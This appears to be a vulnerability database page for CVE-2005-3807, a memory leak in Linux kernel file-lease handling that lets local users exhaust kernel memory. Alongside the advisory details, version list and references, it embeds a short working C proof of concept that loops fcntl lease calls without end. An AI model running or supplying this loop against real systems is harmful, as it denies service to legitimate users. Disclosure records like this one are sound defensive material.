CVE-2005-3807 : Detail

CVE-2005-3807

0.15%V4
Local
2005-11-25
20h00 +00:00
2018-10-19
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Memory leak in the VFS file lease handling in locks.c in Linux kernels 2.6.10 to 2.6.15 allows local users to cause a denial of service (memory exhaustion) via certain Samba activities that cause an fasync entry to be re-allocated by the fcntl_setlease function after the fasync queue has already been cleaned by the locks_delete_lock function.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 26749

Publication date : 2005-12-28 23h00 +00:00
Author : J. Bruce Fields
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/15745/info Linux kernel is susceptible to a local denial-of-service vulnerability. This issue is triggered when excessive kernel memory is consumed by numerous file-lock leases. This problem stems from a memory leak in the kernel's file-lock lease code. This issue allows local attackers to consume excessive kernel memory, eventually leading to an out-of-memory condition and ultimately to a denial of service for legitimate users. Kernel versions from 2.6.10 through to 2.6.14.2 are vulnerable to this issue. */ #include <unistd.h> #include <stdlib.h> #include <linux/fcntl.h> int main(int ac, char **av) { char *fname = av[0]; int fd = open(fname, O_RDONLY); int r; while (1) { r = fcntl(fd, F_SETLEASE, F_RDLCK); if (r == -1) { perror("F_SETLEASE, F_RDLCK"); exit(1); } r = fcntl(fd, F_SETLEASE, F_UNLCK); if (r == -1) { perror("F_SETLEASE, F_UNLCK"); exit(1); } } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.6.0

Linux>>Linux_kernel >> Version 2.6.1

Linux>>Linux_kernel >> Version 2.6.2

Linux>>Linux_kernel >> Version 2.6.3

Linux>>Linux_kernel >> Version 2.6.4

Linux>>Linux_kernel >> Version 2.6.5

Linux>>Linux_kernel >> Version 2.6.6

Linux>>Linux_kernel >> Version 2.6.7

Linux>>Linux_kernel >> Version 2.6.8

Linux>>Linux_kernel >> Version 2.6.8.1

Linux>>Linux_kernel >> Version 2.6.9

    Linux>>Linux_kernel >> Version 2.6.10

    Linux>>Linux_kernel >> Version 2.6.11

    Linux>>Linux_kernel >> Version 2.6.11.1

    Linux>>Linux_kernel >> Version 2.6.11.2

    Linux>>Linux_kernel >> Version 2.6.11.3

    Linux>>Linux_kernel >> Version 2.6.11.4

    Linux>>Linux_kernel >> Version 2.6.11.5

    Linux>>Linux_kernel >> Version 2.6.11.6

    Linux>>Linux_kernel >> Version 2.6.11.7

    Linux>>Linux_kernel >> Version 2.6.11.8

    Linux>>Linux_kernel >> Version 2.6.11.9

    Linux>>Linux_kernel >> Version 2.6.11.10

    Linux>>Linux_kernel >> Version 2.6.11.11

    Linux>>Linux_kernel >> Version 2.6.11.12

    Linux>>Linux_kernel >> Version 2.6.12

    Linux>>Linux_kernel >> Version 2.6.12.1

    Linux>>Linux_kernel >> Version 2.6.12.2

    Linux>>Linux_kernel >> Version 2.6.12.3

    Linux>>Linux_kernel >> Version 2.6.12.4

    Linux>>Linux_kernel >> Version 2.6.12.5

    Linux>>Linux_kernel >> Version 2.6.12.6

    Linux>>Linux_kernel >> Version 2.6.13

    Linux>>Linux_kernel >> Version 2.6.13.1

    Linux>>Linux_kernel >> Version 2.6.13.2

    Linux>>Linux_kernel >> Version 2.6.13.3

    Linux>>Linux_kernel >> Version 2.6.13.4

    Linux>>Linux_kernel >> Version 2.6.14

    Linux>>Linux_kernel >> Version 2.6.14

    Linux>>Linux_kernel >> Version 2.6.14

    Linux>>Linux_kernel >> Version 2.6.14

    Linux>>Linux_kernel >> Version 2.6.14

    Linux>>Linux_kernel >> Version 2.6.14.1

    Linux>>Linux_kernel >> Version 2.6.14.2

    Linux>>Linux_kernel >> Version 2.6.14.3

    Linux>>Linux_kernel >> Version 2.6.15

    References

    http://secunia.com/advisories/17917
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.securityfocus.com/advisories/9806
    Tags : vendor-advisory, x_refsource_SUSE
    http://secunia.com/advisories/18203
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.ubuntulinux.org/usn/usn-231-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://marc.info/?l=linux-kernel&m=113190437101622&w=2
    Tags : mailing-list, x_refsource_MLIST
    http://www.securityfocus.com/archive/1/427981/100/0/threaded
    Tags : vendor-advisory, x_refsource_FEDORA
    http://www.trustix.org/errata/2005/0070
    Tags : vendor-advisory, x_refsource_TRUSTIX
    http://secunia.com/advisories/17918
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.securityfocus.com/bid/15745
    Tags : vdb-entry, x_refsource_BID